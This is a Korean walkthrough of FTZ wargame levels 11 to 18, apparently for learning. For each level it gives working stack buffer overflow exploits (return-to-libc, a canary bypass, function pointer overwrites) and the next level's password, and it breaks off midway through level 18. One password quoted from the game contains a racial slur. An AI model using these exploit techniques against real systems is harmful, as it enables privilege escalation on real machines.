Level11
ID/PW : level11 / what!@#$?
[level11@ftz level11]$ ls -l
total 28
-rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme
-rw-r----- 1 root level11 168 Mar 8 2003 hint
drwxr-xr-x 2 root level11 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level11 4096 Jan 14 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level12권한의 파일에 SetUID 권한이 부여 되어있다.
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] ); // BOF에 취약한 함수
printf( str );
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 소스코드를 해석하면 아래와 같다.
•
char str[256];
◦
char형 256byte 길이의 str배열 선언
•
setreuid(3092, 3092);
◦
uid와 gid를 모두 3092(level12)로 재설정
•
strcpy(str, argv[1]);
◦
두번째 인자값(argv[1])을 str 배열에 복사
•
printf(str);
◦
str 배열 출력
소스코드를 보면 BOF 취약점이 존재하는 strcpy()함수가 확인이 되고 argv[1]에 공격 페이로드를 입력하면 버퍼오버플로우가 발생한다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12] // argv[1] => [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264] // str[256] => [ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
C
복사
gdb를 이용해서 확인해보면 str배열의 정확한 위치는 [ebp-264]이다. 즉 Return 영역을 덮기 위해서는 4byte 더미를 더해서 268byte만큼 더미를 입력하면 RET 영역을 덮을 수 있다. 최종적으로는 버퍼 오버플로우를 이용해서 system("/bin/sh")을 실행해서 권한을 획득해야 한다.
[level11@ftz level11]$ ldd attackme
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[level11@ftz level11]$ nm /lib/tls/libc.so.6 | grep system
4203f340 t do_system
4203f2c0 T __libc_system
421002d0 T svcerr_systemerr
4203f2c0 W system
[level11@ftz level11]$ strings -tx /lib/tls/libc.so.6 | grep /bin/sh
127ea4 /bin/sh
C
복사
system()주소와 “/bin/sh" 문자열 주소 정보를 확인하기 위해서 attackme 파일의 라이브러리를 파악한 후 라이브러리 내에서 system()주소와 “/bin/sh" 문자열 주소를 확인했다.
•
system 주소 : 0x4203f2c0
•
/bin/sh 주소 : 0x42127ea4
[level11@ftz level11]$ ./attackme `python -c 'print("A"*268+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42")'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
Level12 Password is "it is like this".
Bash
복사
위에서 얻는 정보들을 기반으로 페이로드를 작성해서 공격하면 level12 권한 탈취할 수 있다.
Level12
ID/PW : level12 / it is like this
[level12@ftz level12]$ ls -l
total 28
-rwsr-x--- 1 level13 level12 13771 Mar 8 2003 attackme
-rw-r----- 1 root level12 204 Mar 8 2003 hint
drwxr-xr-x 2 root level12 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level12 4096 Jan 15 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level13권한의 파일에 SetUID 권한이 부여 되어있다.
[level12@ftz level12]$ cat hint
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 핵심 소스코드를 해석하면 아래와 같다.
•
char str[256];
◦
char형 256byte 길이의 str배열 선언
•
setreuid(3093, 3093);
◦
uid와 gid를 모두 3093(level13)로 재설정
•
gets(str);
◦
str 배열에 문자열 입력
소스코드를 보면 BOF 취약점이 존재하는 gets()함수가 확인이 되고 터미널에서 문자열을 과하게 입력하면 버퍼오버플로우가 발생한다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc15
0x08048481 <main+17>: push 0xc15
0x08048486 <main+22>: call 0x804835c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0xc
0x08048491 <main+33>: push 0x8048538
0x08048496 <main+38>: call 0x804834c <printf>
0x0804849b <main+43>: add esp,0x10
0x0804849e <main+46>: sub esp,0xc
0x080484a1 <main+49>: lea eax,[ebp-264] // str[256] => [ebp-264]
0x080484a7 <main+55>: push eax
0x080484a8 <main+56>: call 0x804831c <gets>
0x080484ad <main+61>: add esp,0x10
0x080484b0 <main+64>: sub esp,0x8
0x080484b3 <main+67>: lea eax,[ebp-264]
0x080484b9 <main+73>: push eax
0x080484ba <main+74>: push 0x804854c
0x080484bf <main+79>: call 0x804834c <printf>
0x080484c4 <main+84>: add esp,0x10
0x080484c7 <main+87>: leave
0x080484c8 <main+88>: ret
C
복사
gdb를 이용해서 확인해보면 str배열의 정확한 위치는 [ebp-264]이다. 즉 Return 영역을 덮기 위해서는 4byte 더미를 더해서 268byte만큼 더미를 입력하면 RET 영역을 덮을 수 있다. 최종적으로는 버퍼 오버플로우를 이용해서 system("/bin/sh")을 실행해서 권한을 획득해야 한다.
[level12@ftz level12]$ ldd attackme
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[level12@ftz level12]$ nm /lib/tls/libc.so.6 | grep system
4203f340 t do_system
4203f2c0 T __libc_system
421002d0 T svcerr_systemerr
4203f2c0 W system
[level12@ftz level12]$ strings -tx /lib/tls/libc.so.6 | grep /bin/sh
127ea4 /bin/sh
C
복사
system()주소와 “/bin/sh" 문자열 주소 정보를 확인하기 위해서 attackme 파일의 라이브러리를 파악한 후 라이브러리 내에서 system()주소와 “/bin/sh" 문자열 주소를 확인했다.
•
system 주소 : 0x4203f2c0
•
/bin/sh 주소 : 0x42127ea4
[level12@ftz level12]$ (python -c 'print("A"*268+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42")';cat) | ./attackme
¹®ÀåÀ» ÀÔ·ÂÇϼ¼¿ä.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀòBAAAA¤~B
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
Level13 Password is "have no clue".
Bash
복사
위에서 얻는 정보들을 기반으로 페이로드를 작성해서 공격하면 level13 권한 탈취할 수 있다.
Level13
ID/PW : level13 / have no clue
[level13@ftz level13]$ ls -l
total 28
-rwsr-x--- 1 level14 level13 13953 Mar 8 2003 attackme
-rw-r----- 1 root level13 258 Mar 8 2003 hint
drwxr-xr-x 2 root level13 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level13 4096 Jan 11 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level14권한의 파일에 SetUID 권한이 부여 되어있다.
[level13@ftz level13]$ cat hint
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]); // vulnerable
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 핵심 소스코드를 해석하면 아래와 같다.
•
char buf[1024];
◦
char형 1024byte 길이의 buf배열 선언
•
setreuid(3094, 3094);
◦
uid와 gid를 모두 3094(level14)로 재설정
•
if(argc > 1) strcpy(buf,argv[1]);
◦
인자개수가 1개보다 크면 두번째 인자값(argv[1])을 buf배열에 복사
•
if(i != 0x1234567) { …….. kill(0,11); }
◦
i가 0x1234567이 아니면 강제 종료
소스코드를 보면 argc가 1보다 큰 경우 BOF 취약점이 존재하는 strcpy()함수가 호출되고 argv[1]에 공격 페이로드를 입력하면 버퍼 오버플로우가 발생한다.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567 // i => [ebp-12]
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1 // if(argc > 1)
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048] // buf[1024] => [ebp-1048]
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
C
복사
gdb를 이용해서 확인해보면 buf배열의 정확한 위치는 [ebp-1048]이다. 즉 Return 영역을 덮기 위해서는 4byte 더미를 더해서 1052byte만큼 더미를 입력하면 RET 영역을 덮을 수 있다. 그러나 더미값을 임의로 입력하면 [ebp-12] 위치의 0x1234567 값도 같이 덮어쓰기 때문에 함수 에필로그와 만나지 못해서 원하는 함수를 호출할 수 없다. 따라서 더미 값을 입력할 때 [ebp-12] 위치에 0x1234567값이 들어가도록 입력하면 프로그램을 버퍼 오버플로우를 탐지하지 못해서 함수 에필로그와 만날 수 있고 최종적으로는 버퍼 오버플로우를 이용해서 system("/bin/sh")을 호출할 수 있다.
[level13@ftz level13]$ ldd attackme
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[level13@ftz level13]$ nm /lib/tls/libc.so.6 | grep system
4203f340 t do_system
4203f2c0 T __libc_system
421002d0 T svcerr_systemerr
4203f2c0 W system
[level13@ftz level13]$ strings -tx /lib/tls/libc.so.6 | grep /bin/sh
127ea4 /bin/sh
C
복사
system()주소와 “/bin/sh" 문자열 주소 정보를 확인하기 위해서 attackme 파일의 라이브러리를 파악한 후 라이브러리 내에서 system()주소와 “ㄱ /bin/sh" 문자열 주소를 확인했다.
•
system 주소 : 0x4203f2c0
•
/bin/sh 주소 : 0x42127ea4
[level13@ftz level13]$ ./attackme `python -c 'print("A"*1036+"\x67\x45\x23\x01"+"A"*12+"\xc0\xf2\x03\x42"+"A"*4+"\xa4\x7e\x12\x42")'`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
Level14 Password is "what that nigga want?".
Bash
복사
페이로드를 구성할 때 1052byte만큼의 더미를 입력하지 않고 1036([ebp-1048] - [ebp-12])byte만 입력 후 0x1234567을 넣고 나머지 12byte(1052-1036-4)를 입력하면 RET 영역을 조작하여 system() 함수 호출을 할 수 있다.
Level14
ID/PW : Level14 / what that nigga want?
[level14@ftz level14]$ ls -l
total 28
-rwsr-x--- 1 level15 level14 13801 Dec 10 2002 attackme
-rw-r----- 1 root level14 346 Dec 10 2002 hint
drwxr-xr-x 2 root level14 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level14 4096 Jan 11 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level15권한의 파일에 SetUID 권한이 부여 되어있다.
[level14@ftz level14]$ cat hint
레벨 14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 합슥하는데는 이 문제들이 최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin); // vulnerable
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 핵심 소스코드를 해석하면 아래와 같다.
•
char buf[20];
◦
char형 20byte 길이의 buf배열 선언
•
fgets(buf, 45, stdin);
◦
buf배열에 45byte만큼 문자열 입력
•
if(check == 0xdeadbeef) {………..}
◦
check 값이 0xdeadbeef이면 쉘 실행
소스코드를 보면 check 값이 0xdeadbeef와 일치하면 쉘을 실행시켜준다. 그러나 check 변수는 선언만 되어있을 뿐 값이 저장되어 있지 않다. 대신 fgets 함수가 배열 길이보다 긴 값을 입력 받는 취약한 부분이 보인다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d // input length = 0x2d(45)
0x080484a1 <main+17>: lea eax,[ebp-56] // buf[20] => [ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef // check => [ebp-16]
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
C
복사
gdb를 이용해서 확인해보면 buf배열의 정확한 위치는 [ebp-56]이고 check 변수의 위치는 [ebp-16]이다. 두 위치의 차이는 40byte만큼 차이나며 fgets()함수로 45(0x2d)byte만큼 입력받을 수 있기 때문에 check 변수 위치의 데이터를 덮을 수 있다.
[level14@ftz level14]$ (python -c 'print("A"*40+"\xef\xbe\xad\xde")';cat) | ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass
Level15 Password is "guess what".
Bash
복사
페이로드를 구성할 때 40byte만큼 더미를 입력하고 0xdeadbeef를 입력하면 쉘을 실행시켜 다음 레벨로 넘어갈 수 있다.
Level15
ID/PW : level15 / guess what
[level15@ftz level15]$ ls -l
total 28
-rwsr-x--- 1 level16 level15 13801 Dec 10 2002 attackme
-rw-r----- 1 root level15 185 Dec 10 2002 hint
drwxr-xr-x 2 root level15 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level15 4096 Jan 11 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level16권한의 파일에 SetUID 권한이 부여 되어있다.
[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 핵심 소스 코드를 해석하면 아래와 같다.
•
char buf[20];
◦
char형 20byte 길이의 buf배열 선언
•
fgets(buf, 45, stdin);
◦
buf배열에 45byte만큼 문자열 입력
•
if(*check == 0xdeadbeef) {………..}
◦
*check와 0xdeadbeef가 일치하면 쉘 실행
소스코드를 보면 포인터 변수 check가 가르키는 주소에 저장된 값이 0xdeadbeef와 일치하면 쉘을 실행시켜준다. 그러나 포인터 변수 check는 선언만 되어있을 뿐 값이 저장되어 있지 않다. 대신 fgets 함수가 배열 길이보다 긴 값을 입력 받는 취약한 부분이 보인다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d // input length = 0x2d(45)
0x080484a1 <main+17>: lea eax,[ebp-56] // buf[20] => [ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16] // *check => [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
C
복사
gdb를 이용해서 확인해보면 str배열의 정확한 위치는 [ebp-56]이고 *check의 정확한 위치는 [ebp-16]이다. 두 위치의 차이는 40byte만큼 차이나며 fgets()함수로 45(0x2d)byte만큼 입력받을 수 있기 때문에 포인터 변수 check 위치의 데이터를 덮을 수 있다. 그러나 정확하게 0xdeadbeef 값이 저장된 주소를 가르켜야 하는데 일반적인 메모리 내에서는 0xdeadbeef라는 특정 값이 저장되어있을 수가 없다.
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
(gdb) x/4wx 0x80484b0
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
(gdb) x/4wx 0x80484b2
0x80484b2 <main+34>: 0xdeadbeef 0xec832575 0x0c186808 0x18680000
Bash
복사
어셈블리어에서 특정값을 이동시키거나 비교할 때 반드시 그 값이 기계어 상으로도 표현이 되어있다. 즉 main+32 위치의 어셈블리어에 0xdeadbeef와 비교하는 부분이 있는데 해당 어셈블리어의 16진수 기계어를 확인해보면 반드시 존재한다. gdb를 이용해서 0x080484b0의 16진수 값을 확인해보면 0xdead, 0xbeef값을 확인할 수 있으며 오프셋을 2만큼 이동시켜서 0x080484b2의 16진수 값을 확인해보면 정확히 0xdeadbeef값이 저장된 것을 확인할 수 있다.
[level15@ftz level15]$ (python -c 'print("A"*40+"\xb2\x84\x04\x08")';cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
my-pass
Level16 Password is "about to cause mass".
Bash
복사
페이로드를 구성할 때 40byte만큼 더미를 입력하고 위에서 찾은 0x080484b2를 입력하면 쉘을 실행시켜 다음 레벨로 넘어갈 수 있다.
Level16
ID/PW : level16 / about to cause mass
[level16@ftz level16]$ ls -l
total 32
-rwsr-x--- 1 level17 level16 14017 Mar 8 2003 attackme
-rw-r----- 1 root root 235 Mar 8 2003 attackme.c
-rw-r----- 1 root level16 235 Mar 8 2003 hint
drwxr-xr-x 2 root level16 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level16 4096 Jan 11 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level12권한의 파일에 SetUID 권한이 부여 되어있다.
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 소스코드를 해석하면 아래와 같다.
•
void (*call)()=printit;
◦
함수 포인터 (*call)() 선언 및 printit()함수로 정의
•
char buf[20];
◦
char형 20byte 길이의 buf배열 선언
•
fgets(buf, 48, stdin);
◦
buf배열에 48byte만큼 문자열 입력
•
call();
◦
함수 포인터로 printit() 함수 호출
소스코드를 보면 함수포인터를 선언하고 printit()함수로 정의하는 후 호출하는 기능이 존재한다. 그리고 fgets 함수가 배열 길이보다 긴 값을 입력 받는 취약한 부분이 보인다.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500 // (*call)() => [ebp-16]
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56] // buf[20] => [ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
C
복사
gdb를 이용해서 확인해보면 buf배열의 정확한 위치는 [ebp-56]이고 (*call)()의 정확한 위치는 [ebp-16]이다. 두 위치의 차이는 40byte만큼 차이나며 fgets()함수로 45(0x2d)byte만큼 입력받을 수 있기 때문에 (*call)()을 printit() 함수 주소 대신 shell() 함수 주소로 덮을 수 있다.
(gdb) print shell
$1 = {<text variable, no debug info>} 0x80484d0 <shell>
Bash
복사
shell() 함수의 주소는 0x080484d0이고 gdb에서 확인할 수 있다.
[level16@ftz level16]$ (python -c 'print("A"*40+"\xd0\x84\x04\x08")';cat) | ./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
my-pass
Level17 Password is "king poetic".
Bash
복사
페이로드를 구성할 때 40byte만큼 더미를 입력하고 shell()함수의 주소인 0x080484d0를 입력하면 쉘을 실행시켜 다음 레벨로 넘어갈 수 있다.
Level17
ID/PW : Level17 / king poetic
[level17@ftz level17]$ ls -l
total 28
-rwsr-x--- 1 level18 level17 13853 Mar 8 2003 attackme
-rw-r----- 1 root level17 191 Mar 8 2003 hint
drwxr-xr-x 2 root level17 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level17 4096 Jan 11 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level18 권한의 파일에 SetUID 권한이 부여 되어있다.
[level11@ftz level11]$ cat hint
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 소스코드를 해석하면 아래와 같다.
•
void (*call)()=printit;
◦
함수 포인터 (*call)() 선언 및 printit()함수로 정의
•
char buf[20];
◦
char형 20byte 길이의 buf배열 선언
•
fgets(buf, 48, stdin);
◦
buf배열에 48byte만큼 문자열 입력
•
setreuid(3098, 3098);
◦
uid와 gid를 모두 3098(level18)로 재설정
•
call();
◦
함수 포인터로 printit() 함수 호출
소스코드를 보면 함수 포인터를 선언하고 printit()함수로 정의하는 후 호출하는 기능이 존재한다. 그리고 fgets 함수가 배열 길이보다 긴 값을 입력 받는 취약한 부분이 보인다. level16 문제와 다르게 쉘을 실행하는 함수가 없는 대신 setreuid()함수로 level18의 권한을 부여하고 있다. 해당 문제는 직접 system함수를 이용해서 호출해야 될 듯 하다.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490 // (*call)() => [ebp-16]
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56] // buf[20] => [ebp-56]
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
C
복사
gdb를 이용해서 확인해보면 buf배열의 정확한 위치는 [ebp-56]이고 (*call)()의 정확한 위치는 [ebp-16]이다. 두 위치의 차이는 40byte만큼 차이나며 fgets()함수로 48(0x30)byte만큼 입력받을 수 있기 때문에 (*call)()을 printit() 함수 주소 대신 system() 함수 주소로 덮을 수 있다.
[level11@ftz level11]$ ldd attackme
libc.so.6 => /lib/tls/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[level11@ftz level11]$ nm /lib/tls/libc.so.6 | grep system
4203f340 t do_system
4203f2c0 T __libc_system
421002d0 T svcerr_systemerr
4203f2c0 W system
[level11@ftz level11]$ strings -tx /lib/tls/libc.so.6 | grep /bin/sh
127ea4 /bin/sh
C
복사
system()주소와 “/bin/sh" 문자열 주소 정보를 확인하기 위해서 attackme 파일의 라이브러리를 파악한 후 라이브러리 내에서 system()주소와 “/bin/sh" 문자열 주소를 확인했다.
•
system 주소 : 0x4203f2c0
•
/bin/sh 주소 : 0x42127ea4
[ebp-16] 위치에 system함수 주소를 넣으면 system 함수를 호출할 수 있으나 문제는 인자값인 "/bin/sh"을 넣어서 호출할 수는 없다. call()을 통해서 변조된 함수인 system()함수를 호출하게 되면 system 함수의 스택은 main함수 기준 [ebp-56]을 기준으로 RET와 SFP 영역이 생성된다. 따라서 첫번째 인자값으로 인식하는 스택 영역은 [ebp-56]이다.
[level17@ftz level17]$ (python -c 'print("\xa4\x7e\x12\x42"+"A"*36+"\xc0\xf2\x03\x42")';cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
Level18 Password is "why did you do it".
Bash
복사
페이로드를 구성할 때 제일 먼저 /bin/sh의 주소를 4byte만큼 넣은 뒤 남은 36byte만큼 더미를 입력하고 system()함수의 주소인 0x4203f2c0를 입력하면 쉘 권한을 획득할 수 있다.
Level18
ID/PW : level18 / why did you do it
[level18@ftz level18]$ ls -l
total 20
-rwsr-x--- 1 level19 level18 6225 Jan 25 1999 attackme
-rw-r----- 1 root level18 1272 Jan 25 1999 hint
drwxr-xr-x 2 root level18 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level18 4096 Jan 8 2009 tmp
Bash
복사
계정 접속 후 파일 목록을 보면 level19권한의 파일에 SetUID 권한이 부여 되어있다.
[level18@ftz level18]$ cat hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
C
복사
hint 파일을 보면 attackme 파일의 소스코드가 힌트로 주어져있다. 핵심 소스 코드를 해석하면 아래와 같다.
•
char string[100]; int check; int count = 0;
◦
char형 256byte 길이의 str배열, int형 check,count 변수 선언
•
if(check == 0xdeadbeef) { shellout(); }
◦
check 변수 값이 0xdeadbeef와 일치하면 쉘 실행
•
switch(x) { …… }
◦
\r과 \n을 입력하면 \a가 출력
◦
0x08을 입력하면 string 배열의 이전 인덱스 위치로 이동
◦
그 외에 나머지는 string[100] 배열에 순차적으로 값 저장
이 문제는 check 변수 값만 0xdeadbeef로 맞춰주면 자동으로 level19의 권한으로 쉘을 실행한다. 그러나 check 변수는 선언만 되어있어서 절대로 만족할 수 없다.
(gdb) disassemble main
Dump of assembler code for function main:
.......
0x08048591 <main+65>: jmp 0x8048598 <main+72>
